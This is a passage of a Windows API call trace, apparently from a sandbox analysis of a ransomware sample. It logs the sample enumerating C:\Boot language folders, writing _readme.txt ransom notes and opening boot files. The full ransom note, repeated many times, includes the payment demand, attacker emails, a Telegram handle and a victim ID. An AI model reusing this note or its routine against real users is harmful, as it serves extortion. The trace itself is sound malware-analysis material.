ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.076] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.076] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.076] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.076] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.076] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.076] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.076] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0267.076] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.076] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.077] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.077] PathFindFileNameW (pszPath="") returned="" [0267.077] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.077] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.077] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.077] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.077] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.077] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0267.077] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.077] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.078] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0267.078] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.078] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0267.078] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.078] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.078] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.078] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.078] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.078] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.078] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.078] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.078] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.078] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.078] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0267.079] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.079] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.079] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.079] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.079] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.079] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0267.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.079] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.079] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.079] PathFindFileNameW (pszPath="") returned="" [0267.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.079] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.080] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.080] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.080] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.080] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0267.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.080] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0267.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.080] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.080] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.080] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.081] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.081] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.081] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.081] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.081] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.081] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0267.081] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.082] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.083] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.083] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.083] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.083] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0267.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.083] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.083] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.083] PathFindFileNameW (pszPath="") returned="" [0267.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.083] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.083] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.084] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.084] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0267.084] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.084] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.084] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0267.084] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.084] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0267.084] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.084] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without 